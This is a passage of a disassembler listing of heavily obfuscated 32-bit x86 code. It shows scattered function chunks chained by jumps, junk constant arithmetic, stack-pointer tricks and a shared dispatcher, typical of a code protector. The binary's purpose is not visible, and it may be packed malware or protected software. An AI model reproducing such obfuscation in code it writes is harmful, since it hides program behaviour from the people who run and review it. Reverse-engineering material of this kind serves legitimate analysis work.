		sub	eax, edi
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		pop	ebx
		sub	esp, 4
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 608B4B6Eh
		jmp	sub_59AD7B
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AC15F:				; CODE XREF: sub_5A63DC-7A3Bj
					; sdfs____:005A04CBj
		dec	ebx
		jmp	sub_5AFA26
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A765F


loc_5AC165:				; CODE XREF: sub_5A765F-AB6Dj
		pop	esp
		mov	[esp+0], cx
		push	edx
		mov	dl, 2Ah
		mov	ch, dl
		jmp	loc_59BA28
; END OF FUNCTION CHUNK	FOR sub_5A765F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AC174:				; CODE XREF: sub_5A0FFF-FF5j
					; sub_5AA2D1-4162j
		mov	esp, [esp+4+var_4]
		push	6764h
		jmp	loc_5AB018
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC181:				; CODE XREF: sub_5AA2D1-73A5j
		add	[esp-8+arg_4], 394C468Ch
		jmp	loc_59F725
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5AC18D	proc near		; CODE XREF: sub_59ED98+EECDj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059A50F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B71F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059BA0C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A0A7F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1EA0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A35A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A3DD2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5410 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A734D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A9F1A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA2DF SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005AA475 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB3AB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ABA56 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADF88 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AF17B SIZE 00000014 BYTES

		push	ebx
		mov	bl, al
		mov	cl, bl
		pop	ebx
		mov	ax, word ptr [esp+4+var_4]
		add	esp, 2
		add	dl, 0A6h
		sub	dl, cl
		jmp	loc_5AA475
sub_5AC18D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AC1A4:				; CODE XREF: sub_5A0FFF-53E4j
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_59CF52
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC1B2:				; CODE XREF: sub_5AA2D1-2997j
		pop	ax
		jmp	loc_59F7F5
; ---------------------------------------------------------------------------


loc_5AC1B9:				; CODE XREF: sub_5AA2D1-2776j
		xor	edi, 0D79F9CF8h
		sub	ebp, edi
		jmp	loc_5AC29D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5AC1C6:				; CODE XREF: sub_5996E4+1202Ej
		pop	esi
		or	esi, 47B20C8Ch
		sub	esi, 67025E2Ah
		jmp	loc_5A4D20
; END OF FUNCTION CHUNK	FOR sub_5996E4

; =============== S U B	R O U T	I N E =======================================



sub_5AC1D8	proc near		; DATA XREF: sdfs____:00598FA0o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp+0], cl
		pushf
		jmp	loc_59910F
sub_5AC1D8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AC1E7:				; CODE XREF: sub_5992DA+6112j
		push	ecx
		mov	ecx, 14134964h
		sub	ebx, ecx
		jmp	loc_5AC545
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AC1F4:				; CODE XREF: sub_5A477C+7710j
		push	6906h
		mov	[esp+0], ecx
		mov	ecx, 467D0C83h
		add	ebx, 33122C97h
		jmp	loc_5A047A
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC20C:				; CODE XREF: sub_5AA2D1-B3C3j
		xor	eax, [esp+8+var_8]
		pop	esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+8+var_4]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		jmp	loc_5AC6D5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5AC23C:				; CODE XREF: sub_59D37E+11B70j
		shr	dh, 8
		xor	dh, 56h
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		sub	esp, 4
		jmp	loc_5ABC8A
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AC250:				; CODE XREF: sub_59D6B8+6B84j
		add	ebp, 4
		jmp	loc_5A476B
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC258:				; CODE XREF: sub_59D6B8-389Cj
					; sub_5AA2D1-5352j
		mov	esi, [esp+0Ah+var_C+2]
		jmp	loc_5A4987
; ---------------------------------------------------------------------------


loc_5AC260:				; CODE XREF: sub_5AA2D1+3165j
		pop	eax
		add	edi, 95A07EA6h
		xor	eax, edi
		pop	edi
		add	ebp, eax
		jmp	loc_5AE863
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AC271:				; CODE XREF: sub_5B01F7-149E3j
		add	eax, edx
		push	edx
		mov	edx, 1F924D09h
		sub	eax, edx
		jmp	loc_59D3D3
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC280:				; CODE XREF: sub_5AA2D1-E7Fj
		pop	edi
		jmp	loc_5A1129
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A66D6


loc_5AC286:				; CODE XREF: sub_5A66D6+59E6j
		push	edi
		mov	edi, 3FDD76DEh
		jmp	loc_5A4533
; END OF FUNCTION CHUNK	FOR sub_5A66D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_5AC291:				; CODE XREF: sub_5B0377-E89Dj
		pop	edx
		sub	edi, 3D77FF1h
		jmp	loc_5AAA45
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC29D:				; CODE XREF: sub_5AA2D1+1EF0j
		pop	edi
		jmp	loc_5AFF54
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5AC2A3:				; CODE XREF: sub_59B2E4-3C4j
		add	ecx, 164B51A9h
		sub	esi, ecx
		jmp	loc_5A787C
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_5AC2B0:				; CODE XREF: sub_59BA35+16j
		add	eax, 0A256D9F6h
		sub	esp, 4
		jmp	loc_5A613A
; END OF FUNCTION CHUNK	FOR sub_59BA35

; =============== S U B	R O U T	I N E =======================================



sub_5AC2C0	proc near		; CODE XREF: sub_5ABE5F+3A1Dj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BA79 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059CB9A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A156C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A924C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AABFC SIZE 0000001B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 14A14EE0h
		mov	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 66043967h
		sub	esi, ecx
		pop	ecx
		xor	esi, 0E6DF0248h
		sub	eax, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	228Fh
		mov	[esp+0], edi
		mov	edi, 4F30716h
		add	eax, edi
		jmp	loc_59BA79
sub_5AC2C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F3B6


loc_5AC2FC:				; CODE XREF: sub_59F3B6+D35Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A4C05
; END OF FUNCTION CHUNK	FOR sub_59F3B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AC310:				; CODE XREF: sub_5A2E41+504Ej
		add	edx, 11A17B6Dh
		jmp	loc_5A1D23
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AC31B:				; CODE XREF: sub_59CBE1+F7CFj
		add	esp, 4
		push	1AD2h
		mov	[esp+0Ah+var_C+2], eax
		push	[esp+0Ah+var_8+2]
		push	[esp+0Eh+var_10+2]
		pop	eax
		push	edx
		jmp	loc_59DDD0
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5956


loc_5AC337:				; CODE XREF: sub_5A5956-600Aj
		btc	[esp+0], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A5956
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AC342:				; CODE XREF: sub_5992DA+D5E4j
		not	edi
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5A7456
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC34F:				; CODE XREF: sub_5AA2D1-C05Fj
		mov	ah, cl
		pop	ecx
		mov	ebx, [esp-18h+arg_14]
		add	esp, 4
		sub	ah, 0FFh
		and	ah, 69h
		shr	ah, 7
		jmp	loc_5AF42D
; ---------------------------------------------------------------------------


loc_5AC369:				; CODE XREF: sub_5AA2D1-4513j
		shr	ecx, 1
		jmp	loc_59AFF5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5AC370:				; CODE XREF: sub_5A5EFF+1DDj
					; sub_59F1F3+84AFj
		sub	[esp-4+arg_0], 0CEA3B29h
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 0CEA3B29h
		mov	edx, [esp-8+arg_4]
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC38A:				; CODE XREF: sub_5A5EFF-3C28j
					; sub_5AA2D1+39CFj
		push	[esp+4+var_4]
		pop	ebx
		push	edx
		push	esp
		pop	edx
		push	eax
		jmp	loc_5B03CB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AC397:				; CODE XREF: sub_5A7BA0-27BCj
		dec	ebp
		xor	ebp, 443A73A1h
		shl	ebp, 4
		jmp	loc_5AD68E
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AC3A6:				; CODE XREF: sub_59CBE1+7067j
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp-10h+arg_C]
		jmp	loc_5AC31B
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5AC3B5:				; CODE XREF: sub_5AA810-BA7Dj
		sub	dword ptr [esp+0], 29935D81h
		pop	edx
		add	edx, 29935D81h
		pop	ecx
		sub	dword ptr [esp+4], 1FFE228Bh
		sub	[esp+4], edx
		push	esi
		mov	esi, 1FFE228Bh
		jmp	loc_5A2368
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5AC3DB:				; CODE XREF: sub_5A5EFF-3C1Fj
		mov	[esp+4+var_4], esi
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_59E6F9
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC3FA:				; CODE XREF: sub_5AA2D1-729Ej
		or	edx, 6FCC3232h
		sub	edx, 4D921827h
		add	edx, 0E45E05F6h
		sub	ebp, 3267383Eh
		add	ebp, edx
		add	ebp, 3267383Eh
		pop	edx
		push	4823h
		mov	[esp-8+arg_4], esi
		mov	esi, ebp
		mov	edi, esi
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5A6D5D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_5AC432:				; CODE XREF: sub_5A9B1D-272Cj
		neg	edx
		ja	loc_59E7A6
		add	edx, 5F0A668Ch
		sub	edx, 738213E3h
		mov	ecx, edx
		pop	edx
		shr	ecx, 6
		or	ecx, 437F72DDh
		jmp	loc_59B621
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------


loc_5AC457:				; CODE XREF: sdfs____:005A1A62j
		sub	eax, 47BEE0C1h
		jmp	loc_59EDE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AC461:				; CODE XREF: sub_5992DA:loc_5A6E9Aj
		jmp	loc_5A5EA2
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5AC466:				; CODE XREF: sub_5A16B8+3335j
		push	esp
		pop	ebx
		jmp	loc_5A6C19
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------


loc_5AC46D:				; CODE XREF: sdfs____:005A9D43j
		xor	edi, 937FE47Bh
		jmp	loc_59EB97

; =============== S U B	R O U T	I N E =======================================



sub_5AC478	proc near		; DATA XREF: sdfs____:00598F00o

; FUNCTION CHUNK AT 0059C7E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059EAAA SIZE 00000007 BYTES

		push	edx
		jmp	loc_59EAAA
sub_5AC478	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC47E:				; CODE XREF: sub_5AA2D1-6D8Cj
		dec	ebx
		shl	ebx, 4
		sub	ebx, 6451A73Ch
		add	ebp, ebx
		pop	ebx
		jmp	sub_5B03E8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AC490:				; CODE XREF: sub_59CBE1-2FF0j
		mov	ebx, edi
		jmp	loc_5ADE74
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_5AC497:				; CODE XREF: sub_5A35F6+78F9j
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A90CF
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC4A2:				; CODE XREF: sub_5AA2D1-DBDBj
		xor	ebp, 0B3524EBh
		jmp	loc_59FE81
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5AC4AD:				; CODE XREF: sub_5A9D64-2875j
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+0], esi
		jmp	loc_5A6E51
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------


loc_5AC4BB:				; CODE XREF: sdfs____:005A6DF9j
		sub	al, 9Bh
		sub	al, 26h
		jmp	loc_59ED6A
; ---------------------------------------------------------------------------


loc_5AC4C4:				; CODE XREF: sdfs____:0059C26Dj
		push	edi
		jmp	loc_5A366E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AC4CA:				; CODE XREF: sub_5A6BBC+7BA2j
		xor	dl, ah
		pop	ax
		sub	cl, 2Dh
		add	cl, 54h
		jmp	loc_5AC029
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC4D9:				; CODE XREF: sub_5A9D64-C8ECj
					; sub_5AA2D1-B335j
		mov	esi, [esp+4+var_4]
		add	esp, 4
		add	edi, 4
		jmp	loc_5A415D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AC4E7:				; CODE XREF: sub_5992DA+D850j
		push	309Bh
		mov	[esp+18h+var_18], eax
		push	edx
		jmp	loc_59AA3F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AC4F5:				; CODE XREF: sub_5A0AA2-3612j
		xor	ebx, 0FE3CF8D8h
		jmp	loc_5A2A10
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5AC500:				; CODE XREF: sub_5AD795-310Fj
		xor	bh, cl
		pop	ecx
		shr	bh, 7
		dec	bh
		jmp	loc_59B130
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC50D:				; CODE XREF: sub_5AA2D1-6FCDj
		neg	edx
		jp	loc_59E030
		shr	edx, 1
		add	edx, 3C5306F3h
		xor	bh, 0D7h
		pop	edi


loc_5AC521:				; CODE XREF: sub_5A577C-873Cj
		mov	[esp+2+var_4+2], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_59E5E6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5AC531:				; CODE XREF: sdfs____:005A3F4Aj
		mov	ah, ch
		not	ah
		push	esi
		mov	esi, esp
		jmp	loc_5A3347
; ---------------------------------------------------------------------------


loc_5AC53D:				; CODE XREF: sdfs____:005ABA51j
		neg	bl
		push	edx
		jmp	loc_5A6AD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AC545:				; CODE XREF: sub_5992DA+12F15j
		pop	ecx
		push	ebp
		jmp	loc_5A320C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AC54C:				; CODE XREF: sub_59CBE1+917j
		mov	esi, 1B0F0DD9h
		xor	edx, esi
		pop	esi
		sub	edx, 1B8295C8h
		mov	eax, edx
		pop	edx
		sub	ecx, 4CA779F5h
		add	ecx, eax
		add	ecx, 4CA779F5h
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		mov	[esp-10h+arg_C], edx
		mov	dh, 4Fh
		push	small 3D4Eh
		mov	word ptr [esp-0Eh+arg_8+2], cx
		jmp	loc_59E067
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AC58A:				; CODE XREF: sub_59C979+10B29j
		jp	loc_5A92B2
		jmp	loc_5AAA38
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		mov	cl, bh
		push	edx
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5AC59C:				; CODE XREF: sub_5A18F6-7D2j
		sub	ebx, ebp
		pop	ebp
		push	dword ptr [esp+0]
		jmp	loc_5AA8EB
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5AC5A7:				; CODE XREF: sub_5A0BA8+3j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5AC5AC:				; CODE XREF: sub_59FC02+346Cj
					; sub_5ADD33-3DD9j
		push	edx
		jmp	loc_5A702E
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5AC5B2:				; CODE XREF: sub_5A5EFF+9B99j
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], eax
		xchg	ebx, [esp+8+var_8]
		not	ebx
		xchg	ebx, [esp+8+var_8]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	ebx
		mov	ebx, 66BE6B6Dh
		inc	ebx
		push	esi
		mov	esi, 1
		sub	ebx, esi
		pop	esi
		add	ebx, 0F1639CB8h
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		push	764Dh
		mov	[esp+14h+var_14], ebx
		pop	ebp
		jmp	loc_5A8AF0
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC5FC:				; CODE XREF: sub_5AA2D1-BCCDj
		sub	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 6BB224A2h
		sub	esi, 0FF7FB9F9h
		add	edi, esi
		pop	esi
		jmp	loc_5ABCEE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_5AC613:				; CODE XREF: sub_5AA5F6-B526j
		shr	bl, 2
		jmp	loc_5AA7E4
; END OF FUNCTION CHUNK	FOR sub_5AA5F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AC61B:				; CODE XREF: sub_5ADD33-A3AEj
		xchg	edx, [esp+4+var_4]
		pop	esp
		add	esp, 4
		div	ecx
		push	0DE1h
		jmp	loc_5A18EC
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5AC631:				; CODE XREF: sub_5A917C+45j
		mov	ebp, edi
		mov	edi, [esp+0]
		push	eax
		mov	eax, esp
		jmp	loc_59EACF
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------


loc_5AC63E:				; CODE XREF: sdfs____:0059C543j
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		push	edx
		jmp	loc_5A4E3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5AC64B:				; CODE XREF: sub_5A4E04-484Fj
		mov	ebp, esi
		mov	esi, [esp+0Ah+var_C+2]
		jmp	loc_5A1858
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------


loc_5AC655:				; CODE XREF: sdfs____:005A2107j
		add	esp, 4
		add	edi, 4
		jmp	loc_5A304F
; ---------------------------------------------------------------------------


loc_5AC663:				; CODE XREF: sdfs____:005A7CABj
		pop	eax
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5A1DDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AC67F:				; CODE XREF: sub_59D6B8+7B71j
		push	0
		sub	[esp-8+arg_4], ebx
		pop	ebx
		neg	ebx
		xor	ebx, 10296204h
		push	ebx
		jmp	loc_5ACF66
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5AC696:				; CODE XREF: sub_5AD84A-B596j
		pop	ebx
		add	ecx, 30C07046h
		add	ecx, 1ED43004h
		add	ecx, 74331501h
		add	ecx, esi
		jmp	loc_5A4704
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC6B0:				; CODE XREF: sub_5AA2D1:loc_59FE81j
		xor	ebp, 702B565Fh
		jnp	loc_59D8C6
		jmp	loc_5A6534
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		pop	eax
		or	edx, ecx
		mov	ecx, [esp]
		xor	al, 6
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AC6CA:				; CODE XREF: sub_5A63DC+52D8j
		add	ebx, 0F337FE52h
		jmp	loc_5AAE8F
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC6D5:				; CODE XREF: sub_5AA2D1+1F66j
		pop	esp
		jmp	loc_5AAA78
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6494


loc_5AC6DB:				; CODE XREF: sub_5A6494-4C6Fj
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		inc	dword ptr [esp+0]
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A6494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5AC6EF:				; CODE XREF: sub_59F02F+A6FCj
		push	esi
		not	[esp+14h+var_14]
		pop	esi
		add	esi, 2FEE102Ch
		jmp	loc_5A93B8
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5AC6FF:				; CODE XREF: sub_5A9D64-7594j
		xor	ebp, 6F834164h
		jmp	loc_5A0CA3
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC70A:				; CODE XREF: sub_5AA2D1-2437j
		jmp	loc_5A0180
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F3B6


loc_5AC70F:				; CODE XREF: sub_59F3B6+DBD7j
		mov	edx, [esp+0]
		jmp	loc_5AC2FC
; END OF FUNCTION CHUNK	FOR sub_59F3B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC717:				; CODE XREF: sub_5AA2D1-83AEj
		pop	edi
		jmp	loc_59C1DE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADBA5


loc_5AC71D:				; CODE XREF: sub_5ADBA5-584Bj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5ADBA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5AC722:				; CODE XREF: sub_59E94B-B80j
		mov	ebp, 4ABD0253h
		dec	ebp
		jmp	loc_5A4828
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5AC72D:				; CODE XREF: sub_59B2E4+959Dj
		pop	eax
		add	ebx, 657A7326h
		add	ebx, edi
		sub	ebx, 657A7326h
		push	[esp+0Ch+var_C]
		pop	edi
		add	esp, 4
		push	1B54h
		mov	[esp+0Ch+var_C], eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_59BE84
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


